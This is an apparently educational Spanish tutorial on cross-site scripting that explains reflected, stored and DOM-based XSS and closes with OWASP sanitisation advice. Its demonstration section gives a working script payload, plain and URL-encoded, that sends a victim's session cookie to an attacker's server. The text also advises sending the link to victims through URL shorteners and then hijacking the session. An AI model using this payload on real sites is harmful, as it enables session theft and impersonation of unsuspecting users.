Uno de los ataques que permanece desde hace muchos años en la lista top 10 de OWASP1 es el ataque de ejecución de comandos en sitios cruzados (XSS). Pero, ¿qué es exactamente y cómo podemos aprovecharlo en nuestras pruebas?
El Cross Site Scripting es un tipo de ataque que aprovecha una vulnerabilidad sobre una aplicación web, permitiendo que se ejecute código javascript a través de entradas de usuario no validadas. El atacante consigue vulnerar un sitio web válido e inyecta un scripts malicioso que luego será ejecutado en el navegador de un usuario desprevenido. Los escenarios van desde la muestra de un simple mensaje de alerta, hasta el robo de credenciales o sesiones.
¿Qué tipos de XSS existen?
Existen 3 tipos principales de Cross-Site Scripting:
- XSS Reflejado: Conocido como XSS de tipo 1 o no persistente, permite que el código inyectado se refleje en el sitio web a partir de una entrada de datos (por ejemplo, a través de un buscador ). Para concretar el ataque es necesario que la victima acceda al enlace o navegue hasta el sitio comprometido, por lo que muchas veces es necesario hacer uso de técnicas de ingeniería social.
- XSS Almacenado: Conocido como XSS de tipo 2 o persistente, permite que el código inyectado se almacene en la aplicación (por ejemplo, a través de un formulario de comentarios). En este caso, todos los usuarios que accedan al sitio comprometido, automáticamente ejecutarán el código, muchas veces pasando desapercibido.
- DOM XSS: Conocido como XSS de tipo 0, permite que el código se ejecute en el navegador de la victima a partir de la modificación del DOM1. Este tipo de ataque, a diferencia de los dos primeros, depende enteramente de la ejecución en el browser del cliente, por lo que la respuesta HTTP de la aplicación web no se ve afectada.
Nota importante: El siguiente contenido es sólo para fines educativos. Hackear o comprometer un sitio web legítimo puede ser considerado ilegal. Utilice este conocimiento bajo su propio riesgo.
Escenario de XSS (Demostración)
Lo primero es conseguir un punto de entrada de datos, que pueda permitir la ejecución de código javascript:
Una vez identificado el punto de entrada, necesitamos inyectar nuestro código:
Importante: Tener en cuenta que actualmente existen muchas medidas de mitigación para este tipo de ataques, incluyendo la protección nativa que ofrecen la mayoría de los navegadores. Sin embargo, hay múltiples formas de evadir dichos mecanismos de protección. Este artículo solo busca demostrar el ataque, no enumerar las formas de evasión.
Tal como se puede apreciar en la URL, el código Javascript se envía como parámetro GET, por lo que este puede ser enviado a un usuario víctima.
Ahora, necesitamos ir más allá, por lo que modificaremos el código para permitir que el usuario víctima nos envíe su cookie de sesión, para posteriormente suplantar su identidad accediendo de manera no autorizada:
<script>var imagen=new Image(100,200); imagen.src='http://192.168.142.158:8081/dato.php?output='+document.cookie;</script>
HTML Encode:
<script>var+imagen%3Dnew+Image(100%2C200)%3B+imagen.src%3D'http%3A%2F%2F192.168.142.158%3A8081%2Fdato.php%3Foutput%3D'%2Bdocument.cookie%3B<%2Fscript>El enlace debe ser enviado a la víctima (el uso de acortadores puede ayudar), y luego esta debe ejecutarla en su browser. Veamos ahora que sucede en el equipo del atacante:
Con la cookie capturada, se procede a suplantar la sesión de usuario víctima:
De esta forma, es posible comprometer la seguridad de los datos de usuarios legítimos de una aplicación.
¿Cómo puedo proteger mi sitio de este ataque?
La principal medida de protección, es la sanitización de todos los puntos de entrada de datos. Una correcta sanitización, no solo permitirá mitigar los ataques de tipo XSS, sino también otros ataques de inyección.
Existen otras formas de prevención, que pueden ser consultadas en la siguiente guía: OWASP Cheatsheet – Prevención de XSS
- OWASP XSS: https://owasp.org/www-community/attacks/xss/
- El DOM – Document Object Model – representa la estructura de un documento web